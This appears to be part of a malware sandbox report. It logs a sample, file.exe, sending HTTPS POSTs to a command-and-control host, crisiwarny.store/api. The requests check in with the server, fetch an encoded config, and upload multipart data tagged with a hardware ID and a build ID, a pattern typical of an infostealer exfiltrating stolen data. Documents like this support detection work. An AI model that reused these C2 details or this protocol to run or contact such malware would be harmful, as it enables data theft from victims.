Oct 28, 2024 08:18:16.023710012 CET	1236	IN	Data Raw: 50 a1 b8 a6 1d af 48 61 cb e5 50 61 a7 a2 0a 62 4d 1b 69 5a d3 b2 ff 95 a7 c2 69 a5 5c d2 43 b5 cc 8e f8 bd 95 85 a8 f8 49 f2 69 d5 e7 c7 d0 aa 4d 85 00 61 d8 02 3e 7e ec e5 a6 2d fc 05 61 61 6e b1 42 80 7b 5a 76 8a 7b ab 6f 05 4c 9d 41 95 ca 0d Data Ascii: PHaPabMiZi\CIiMa>~-aanB{Zv{oLA=IbiC j/9K5_<l#2\Vu=(^OkPPO\!}[_xqPYUwumOv\|n["mPInhA
Oct 28, 2024 08:18:16.028325081 CET	1236	IN	Data Raw: 80 5b a6 65 8f 21 a8 68 95 c6 af b9 2b f0 68 8e 97 f2 7e 4d 4d 93 bb 7c 4d c9 a7 c9 b3 24 4b aa 99 d4 78 60 9c 8d 88 5a b8 eb fe 48 ca 04 6b 3d c8 93 7c c1 a5 00 ab 70 49 ba 34 83 61 7f 11 ca 68 fc 78 c1 b3 4d ce d3 41 56 0e c9 89 b1 52 9b 2e 5b Data Ascii: [e!h+h~MM\|M$Kx`ZHk=\|pI4ahxMAVR.[bKlc[3BKC@@BoksV^p}u[lT[ibmK]\|]=Ra:[~[0jw-Mgyi^S6uoEOfX(

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49706	104.21.95.91	443	6292	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-28 07:17:13 UTC	263	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: crisiwarny.store
2024-10-28 07:17:13 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-10-28 07:17:13 UTC	1005	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 07:17:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=5t7j6b598s149saoiuinrkd1s6; expires=Fri, 21 Feb 2025 01:03:52 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=nKfMT7noK2p5KIxAPDmMvDlM3l25dGzVWR7aKcw5JkgR5yRjyIsb0CsGbBlz28DFjIfuFIVyID1JXRUbyyNZKH4UEfe87r807Jm%2FR5BRnHRwnF4JufVS6%2FalpaNS9sXinbR0"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d9925158c702cc1-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1274&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2838&recv_bytes=907&delivery_rate=2222563&cwnd=251&unsent_bytes=0&cid=78f835b874fd4353&ts=563&x=0"
2024-10-28 07:17:13 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-10-28 07:17:13 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49708	104.21.95.91	443	6292	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-28 07:17:14 UTC	264	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 52 Host: crisiwarny.store
2024-10-28 07:17:14 UTC	1	OUT	Data Raw: 61 Data Ascii: a
2024-10-28 07:17:14 UTC	51	OUT	Data Raw: 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e 64 61 72 79 79 26 6a 3d Data Ascii: ct=recive_message&ver=4.0&lid=4SD0y4--legendaryy&j=
2024-10-28 07:17:14 UTC	1012	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 07:17:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=9cbue651iq9d74tdbb7btujffe; expires=Fri, 21 Feb 2025 01:03:53 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ZRtdj7d2%2BgtpoTPKF3LKFWrvK2ortuNQus7krLOd5uBBasGUYkPkNL4ws7Ml357hjFp1bxTAN8Hvi%2BS7zPIkG0uTajvI2X9%2Bj7gFwJesze%2FXQ1%2BHlfh8%2B70wBbqd5IFQcRTZ"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d99251daff146d4-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1070&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2837&recv_bytes=974&delivery_rate=2588025&cwnd=37&unsent_bytes=0&cid=3c4b9d6efcfb7267&ts=502&x=0"
2024-10-28 07:17:14 UTC	357	IN	Data Raw: 33 36 36 32 0d 0a 54 6d 44 36 65 76 61 75 78 50 33 68 6e 50 46 4f 37 4c 79 36 57 54 34 78 7a 4e 52 75 4e 4f 76 53 4d 4e 75 35 4d 6a 48 2f 34 44 6b 31 51 6f 78 59 7a 4a 72 6f 33 35 4c 35 30 33 53 59 7a 73 38 38 45 68 4f 74 73 45 77 4f 6a 62 4e 63 71 4e 77 65 45 34 6d 4e 47 33 51 47 6d 78 61 46 79 2b 6a 66 68 4f 54 54 64 4c 66 48 6d 44 78 51 45 2f 62 32 43 31 36 4a 73 31 79 35 32 46 6c 65 6a 34 78 61 4a 67 79 64 45 70 50 4e 6f 4a 79 4e 38 5a 51 72 69 64 33 51 4e 31 64 63 70 4c 6c 4d 47 4d 6d 33 53 76 6d 44 45 48 79 61 6c 46 67 44 41 59 6b 52 31 4e 50 6f 68 73 50 35 6e 32 7a 57 6e 74 73 38 58 46 32 71 73 41 56 63 67 37 70 55 75 4e 31 59 51 5a 61 47 55 53 59 43 6e 68 4f 5a 78 4c 53 52 68 2f 61 66 4c 59 50 64 6d 48 55 63 56 4c 62 32 56 42 62 61 67 6c 47 6f 79 Data Ascii: 3662TmD6evauxP3hnPFO7Ly6WT4xzNRuNOvSMNu5MjH/4Dk1QoxYzJro35L503SYzs88EhOtsEwOjbNcqNweE4mNG3QGmxaFy+jfhOTTdLfHmDxQE/b2C16Js1y52Flej4xaJgydEpPNoJyN8ZQrid3QN1dcpLlMGMm3SvmDEHyalFgDAYkR1NPohsP5n2zWnts8XF2qsAVcg7pUuN1YQZaGUSYCnhOZxLSRh/afLYPdmHUcVLb2VBbaglGoy
2024-10-28 07:17:14 UTC	1369	IN	Data Raw: 4e 69 2f 57 59 4b 5a 7a 56 30 54 5a 52 55 36 4f 38 41 31 57 4a 74 31 69 7a 31 46 70 58 6b 49 39 64 4c 41 4c 59 56 74 54 4c 76 74 2f 62 76 72 41 70 6e 74 6e 55 4c 52 35 70 37 71 6c 43 54 38 6d 33 58 76 6d 44 45 46 75 59 67 56 67 6e 44 5a 73 51 6e 39 36 6d 6a 59 58 7a 6c 6a 36 49 32 39 59 78 58 30 47 6b 75 41 70 56 67 4c 74 62 76 4e 78 55 45 39 50 43 58 44 52 43 77 46 69 31 77 61 32 54 69 65 6d 54 62 4a 47 51 77 58 74 62 58 2b 37 75 54 46 4b 49 74 46 4f 39 31 56 35 58 6b 59 52 56 49 51 32 65 45 70 54 4c 72 4a 65 4c 2f 35 34 6e 67 64 37 64 4e 6c 68 56 6f 72 63 4a 46 73 66 77 56 61 47 62 43 42 4f 7a 68 56 67 2b 51 4b 30 62 6d 73 4b 68 69 63 50 68 33 54 58 4f 32 64 52 37 42 42 4f 67 73 77 4e 45 69 4b 4a 58 74 38 6c 63 56 70 75 50 57 43 49 43 6e 52 2b 5a 77 71 Data Ascii: Ni/WYKZzV0TZRU6O8A1WJt1iz1FpXkI9dLALYVtTLvt/bvrApntnULR5p7qlCT8m3XvmDEFuYgVgnDZsQn96mjYXzlj6I29YxX0GkuApVgLtbvNxUE9PCXDRCwFi1wa2TiemTbJGQwXtbX+7uTFKItFO91V5XkYRVIQ2eEpTLrJeL/54ngd7dNlhVorcJFsfwVaGbCBOzhVg+QK0bmsKhicPh3TXO2dR7BBOgswNEiKJXt8lcVpuPWCICnR+Zwq
2024-10-28 07:17:14 UTC	1369	IN	Data Raw: 33 54 58 4f 32 64 52 37 42 42 4f 69 76 77 78 64 67 37 52 53 76 74 5a 56 55 4a 71 42 56 69 73 49 6c 68 2b 51 77 4b 2b 53 68 66 36 55 4b 49 76 4d 33 54 4a 51 58 2b 37 34 54 46 47 52 38 41 72 35 39 46 64 46 6e 71 31 59 50 51 76 59 42 39 72 56 35 70 69 50 76 73 74 73 69 64 76 51 4d 46 70 62 72 71 51 4a 57 49 4b 78 57 4c 2f 61 58 56 2b 62 67 6c 6f 73 42 4a 51 59 6b 38 75 30 6a 59 62 34 67 53 62 4f 6b 4a 67 38 52 42 50 32 39 6a 70 47 6e 71 46 45 2b 2b 35 54 58 5a 4f 46 54 57 77 64 31 67 48 55 79 36 72 66 32 37 36 59 4c 49 4c 5a 30 44 31 59 57 36 47 35 42 55 53 49 76 46 79 72 33 46 42 61 6b 34 31 58 4a 51 2b 66 46 5a 2f 47 71 35 75 45 2f 39 4e 69 7a 74 6e 41 65 77 51 54 6d 4b 59 42 57 71 65 37 58 72 43 62 54 78 32 45 77 6c 77 67 51 73 42 59 6b 4d 43 75 6c 59 7a Data Ascii: 3TXO2dR7BBOivwxdg7RSvtZVUJqBVisIlh+QwK+Shf6UKIvM3TJQX+74TFGR8Ar59FdFnq1YPQvYB9rV5piPvstsidvQMFpbrqQJWIKxWL/aXV+bglosBJQYk8u0jYb4gSbOkJg8RBP29jpGnqFE++5TXZOFTWwd1gHUy6rf276YLILZ0D1YW6G5BUSIvFyr3FBak41XJQ+fFZ/Gq5uE/9NiztnAewQTmKYBWqe7XrCbTx2EwlwgQsBYkMCulYz
2024-10-28 07:17:14 UTC	1369	IN	Data Raw: 74 6e 63 50 56 4d 54 34 50 59 4c 54 73 6e 6f 45 70 62 38 5a 52 47 38 75 42 73 7a 54 49 46 59 6b 38 44 6d 78 38 50 79 6b 43 43 47 30 64 34 79 55 46 6d 6e 76 51 42 64 6a 62 78 62 76 4e 31 52 56 70 69 44 58 79 41 49 6e 68 75 58 77 36 6d 51 69 37 37 64 62 49 6e 47 6d 47 4d 63 64 72 6d 39 41 6c 44 4a 72 78 79 67 6d 31 64 66 33 64 6f 62 49 41 75 65 48 70 48 41 70 35 6d 4c 2b 35 73 6f 6a 39 6a 65 4f 46 4e 58 71 37 63 44 55 6f 57 2b 57 4c 6a 61 58 46 69 53 69 56 35 73 54 4e 67 66 6a 49 7a 2b 33 37 4c 39 68 54 75 65 30 70 67 6b 45 6b 72 75 73 51 41 57 30 66 42 54 71 39 46 61 58 5a 69 4e 58 69 38 4e 6e 78 57 53 77 4b 79 57 69 2f 69 63 4a 5a 7a 64 31 44 56 62 58 61 4b 34 41 56 79 4b 76 52 4c 33 6d 31 64 4c 33 64 6f 62 41 41 57 56 4e 70 2f 41 6f 64 2b 63 73 49 70 73 Data Ascii: tncPVMT4PYLTsnoEpb8ZRG8uBszTIFYk8Dmx8PykCCG0d4yUFmnvQBdjbxbvN1RVpiDXyAInhuXw6mQi77dbInGmGMcdrm9AlDJrxygm1df3dobIAueHpHAp5mL+5soj9jeOFNXq7cDUoW+WLjaXFiSiV5sTNgfjIz+37L9hTue0pgkEkrusQAW0fBTq9FaXZiNXi8NnxWSwKyWi/icJZzd1DVbXaK4AVyKvRL3m1dL3dobAAWVNp/Aod+csIps
2024-10-28 07:17:14 UTC	1369	IN	Data Raw: 4d 63 43 2b 36 41 43 30 61 5a 73 78 43 49 7a 56 4e 46 6c 6f 39 58 62 42 33 57 41 64 54 4c 71 74 2f 62 76 70 55 6a 68 39 33 58 4f 6c 56 66 6f 37 4d 46 55 34 69 32 56 72 50 52 55 46 57 62 67 31 34 6d 41 5a 6b 53 6e 63 75 75 6d 49 44 73 30 32 4c 4f 32 63 42 37 42 42 4f 48 73 52 35 59 6d 66 42 4e 39 38 49 51 56 4a 48 43 41 32 77 47 6b 68 65 51 79 36 71 5a 68 76 69 65 4c 59 48 66 32 44 52 59 57 4b 65 77 44 56 75 4d 76 56 61 72 30 56 74 63 6b 59 74 58 49 55 4c 57 57 4a 50 55 35 73 66 44 7a 35 34 69 67 4e 6e 4f 65 30 4d 64 74 2f 59 4c 57 73 6e 6f 45 72 6a 58 58 31 43 53 67 56 67 74 43 49 6f 4b 6d 4d 57 75 6d 6f 2f 31 6e 53 71 63 32 4e 63 79 58 31 43 6e 73 51 52 61 67 37 4e 56 2b 5a 55 51 56 49 58 43 41 32 77 68 6a 77 69 5a 6a 4c 6e 52 6d 72 36 55 49 4d 36 47 6d Data Ascii: McC+6AC0aZsxCIzVNFlo9XbB3WAdTLqt/bvpUjh93XOlVfo7MFU4i2VrPRUFWbg14mAZkSncuumIDs02LO2cB7BBOHsR5YmfBN98IQVJHCA2wGkheQy6qZhvieLYHf2DRYWKewDVuMvVar0VtckYtXIULWWJPU5sfDz54igNnOe0Mdt/YLWsnoErjXX1CSgVgtCIoKmMWumo/1nSqc2NcyX1CnsQRag7NV+ZUQVIXCA2whjwiZjLnRmr6UIM6Gm
2024-10-28 07:17:14 UTC	1369	IN	Data Raw: 6f 75 51 4e 66 67 4c 52 61 75 74 74 55 56 35 71 48 57 43 41 4a 6e 78 75 62 79 4b 2b 52 69 76 48 54 59 73 37 5a 77 48 73 45 45 34 2b 74 44 31 71 45 38 45 33 33 77 68 42 55 6b 63 49 44 62 41 36 57 48 5a 54 47 6f 4a 75 47 2b 4a 6b 70 6a 74 58 62 4e 46 68 56 71 72 6b 4d 58 59 43 78 56 4c 7a 52 57 31 57 51 67 56 30 71 51 74 5a 59 6b 39 54 6d 78 38 50 65 69 43 47 43 32 5a 67 6b 45 6b 72 75 73 51 41 57 30 66 42 5a 74 64 39 58 55 35 43 42 55 79 6b 47 6b 68 32 55 78 4c 53 58 67 2f 6d 42 50 6f 37 58 33 54 64 66 55 36 71 77 42 56 43 4b 74 42 4c 33 6d 31 64 4c 33 64 6f 62 41 51 36 66 4d 5a 50 58 35 6f 44 4e 35 39 4d 72 67 70 36 41 65 31 31 59 70 4c 6b 42 56 59 2b 7a 57 62 7a 52 55 56 53 56 6a 30 6b 76 44 5a 63 63 6c 4d 4f 67 6d 59 4c 78 6c 53 75 48 33 39 41 38 48 42 Data Ascii: ouQNfgLRauttUV5qHWCAJnxubyK+RivHTYs7ZwHsEE4+tD1qE8E33whBUkcIDbA6WHZTGoJuG+JkpjtXbNFhVqrkMXYCxVLzRW1WQgV0qQtZYk9Tmx8PeiCGC2ZgkEkrusQAW0fBZtd9XU5CBUykGkh2UxLSXg/mBPo7X3TdfU6qwBVCKtBL3m1dL3dobAQ6fMZPX5oDN59Mrgp6Ae11YpLkBVY+zWbzRUVSVj0kvDZcclMOgmYLxlSuH39A8HB
2024-10-28 07:17:14 UTC	1369	IN	Data Raw: 51 49 4f 33 51 72 37 4d 58 78 50 54 77 6c 52 73 57 71 46 59 6e 63 75 39 6a 70 58 7a 67 79 76 4f 34 5a 5a 37 52 42 50 32 39 6a 6c 56 68 37 35 56 72 38 6f 64 64 49 75 49 58 44 77 46 6a 78 66 55 67 75 61 5a 77 36 62 41 59 73 37 61 79 58 73 45 41 2f 7a 74 57 51 58 65 34 41 43 6d 6c 55 6b 54 69 38 49 44 66 6b 7a 59 43 74 53 55 35 74 69 41 37 49 45 71 6a 63 6a 62 66 47 4a 74 69 61 77 42 55 4a 36 68 62 49 66 63 53 6c 36 62 6c 55 70 67 46 35 73 57 6d 73 75 77 33 38 32 2b 6e 47 7a 57 35 35 68 7a 48 47 7a 67 39 68 51 57 30 66 42 6e 75 74 56 65 56 49 75 54 46 67 73 59 6c 52 36 44 33 65 62 52 77 2f 6a 54 64 4e 36 51 6d 44 39 4e 45 2f 62 6d 58 67 33 63 34 77 58 70 69 55 38 64 68 4d 4a 4e 62 46 72 4b 56 74 54 65 35 73 66 44 75 5a 41 2b 6e 4e 6a 62 4c 56 38 55 6b 49 67 Data Ascii: QIO3Qr7MXxPTwlRsWqFYncu9jpXzgyvO4ZZ7RBP29jlVh75Vr8oddIuIXDwFjxfUguaZw6bAYs7ayXsEA/ztWQXe4ACmlUkTi8IDfkzYCtSU5tiA7IEqjcjbfGJtiawBUJ6hbIfcSl6blUpgF5sWmsuw382+nGzW55hzHGzg9hQW0fBnutVeVIuTFgsYlR6D3ebRw/jTdN6QmD9NE/bmXg3c4wXpiU8dhMJNbFrKVtTe5sfDuZA+nNjbLV8UkIg
2024-10-28 07:17:14 UTC	1369	IN	Data Raw: 56 47 33 31 56 64 46 6a 4d 39 38 49 67 57 5a 44 6f 54 62 71 64 2f 4e 76 70 56 73 31 6f 79 57 65 31 68 43 37 75 35 63 42 4e 4c 6c 41 65 36 4c 41 6b 7a 54 6d 78 73 36 51 73 42 4b 32 6f 79 30 33 39 75 2b 31 43 2b 63 7a 4e 34 34 53 6c 44 70 69 44 4a 78 68 37 64 54 72 38 74 48 58 4e 4b 73 62 51 30 38 70 67 32 58 77 71 69 59 6c 65 2f 54 59 73 37 52 6d 47 4e 6c 45 2b 62 32 4d 78 6a 4a 71 42 4c 68 6d 32 56 51 6b 34 78 63 4f 68 50 56 50 35 72 4c 70 34 6d 54 36 5a 78 6a 6f 4f 6a 35 65 78 49 54 71 50 5a 55 42 4d 66 77 56 71 69 62 43 41 50 50 32 51 35 2f 56 63 68 4b 69 34 4b 2f 33 35 57 2b 79 33 37 41 6e 73 70 37 42 42 50 70 74 52 35 45 6a 37 4e 45 75 70 78 75 62 62 71 4d 58 43 30 55 69 42 57 59 37 61 57 4f 69 63 43 74 4f 59 33 51 31 6a 78 4b 51 75 37 34 54 46 6e 4a Data Ascii: VG31VdFjM98IgWZDoTbqd/NvpVs1oyWe1hC7u5cBNLlAe6LAkzTmxs6QsBK2oy039u+1C+czN44SlDpiDJxh7dTr8tHXNKsbQ08pg2XwqiYle/TYs7RmGNlE+b2MxjJqBLhm2VQk4xcOhPVP5rLp4mT6ZxjoOj5exITqPZUBMfwVqibCAPP2Q5/VchKi4K/35W+y37Ansp7BBPptR5Ej7NEupxubbqMXC0UiBWY7aWOicCtOY3Q1jxKQu74TFnJ

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49709	104.21.95.91	443	6292	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-28 07:17:15 UTC	282	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 12840 Host: crisiwarny.store
2024-10-28 07:17:15 UTC	12840	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 32 33 45 43 43 43 38 39 36 37 38 36 35 45 32 44 39 34 30 37 36 34 33 34 38 39 39 36 36 43 31 37 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"23ECCC8967865E2D9407643489966C17--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-28 07:17:38 UTC	1012	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 07:17:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=0qgc1h90i36srrh9btdnin9l49; expires=Fri, 21 Feb 2025 01:03:55 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=rxtC4xW43h62dUk%2BRk2fYQainhBpypmy9Bdx5wIjUBVBXOaPo87ex8kj9A08L0VOVwtYX%2FB7Ls2yqbYF23QQtmWyS5kkUNiaDQsdn2fQybF8hcN0Z51MTLFiw%2Brl8aHWCZTj"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d9925264e97463b-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1036&sent=8&recv=17&lost=0&retrans=0&sent_bytes=2839&recv_bytes=13780&delivery_rate=2853201&cwnd=249&unsent_bytes=0&cid=b457873c84f3f7f2&ts=23147&x=0"
2024-10-28 07:17:38 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 35 35 2e 39 34 2e 32 34 31 2e 31 38 38 0d 0a Data Ascii: 11ok 155.94.241.188
2024-10-28 07:17:38 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	49758	104.21.95.91	443	6292	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-28 07:17:39 UTC	282	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 15082 Host: crisiwarny.store
2024-10-28 07:17:39 UTC	15082	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 32 33 45 43 43 43 38 39 36 37 38 36 35 45 32 44 39 34 30 37 36 34 33 34 38 39 39 36 36 43 31 37 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"23ECCC8967865E2D9407643489966C17--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-28 07:17:40 UTC	1015	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 07:17:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=npik69u0u7e0p65ip0f0ep7p05; expires=Fri, 21 Feb 2025 01:04:19 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=9fLYGfe%2FyeDXc%2B2Un9L7jQcH12q4NCl7f2tAvtPIRlEAhDqatU9pLhgjZ0vvio4cPsQ8VoIplzDK4e%2FEnu9bxDNlRMuyB0PfcMfJ7IwfjfcFnRsGbObImW%2BvvN%2FhiJ9tXAbu"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d9925bbf9a86b95-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1230&sent=10&recv=20&lost=0&retrans=0&sent_bytes=2839&recv_bytes=16022&delivery_rate=2292953&cwnd=250&unsent_bytes=0&cid=f27ba1fe566d9422&ts=874&x=0"
2024-10-28 07:17:40 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 35 35 2e 39 34 2e 32 34 31 2e 31 38 38 0d 0a Data Ascii: 11ok 155.94.241.188
2024-10-28 07:17:40 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.5	49759	104.21.95.91	443	6292	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-28 07:17:41 UTC	282	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20572 Host: crisiwarny.store
2024-10-28 07:17:41 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 32 33 45 43 43 43 38 39 36 37 38 36 35 45 32 44 39 34 30 37 36 34 33 34 38 39 39 36 36 43 31 37 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"23ECCC8967865E2D9407643489966C17--be85de5ipdocierre1Content-Disposition: form-data; name="pid"3--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-28 07:17:41 UTC	5241	OUT	Data Raw: 5a 3e 93 af 35 13 92 cd 36 8a 95 d9 76 89 c4 4d c9 4d d9 5a b5 da 68 27 0c 46 c7 33 b7 ee 57 14 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 75 6e 20 0a e6 d6 fd 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 ce 0d 46 c1 dc ba 9f 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d6 b9 81 28 98 5b f7 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 3a 37 18 05 73 eb 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 58 e7 06 a2 60 6e dd 4f 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 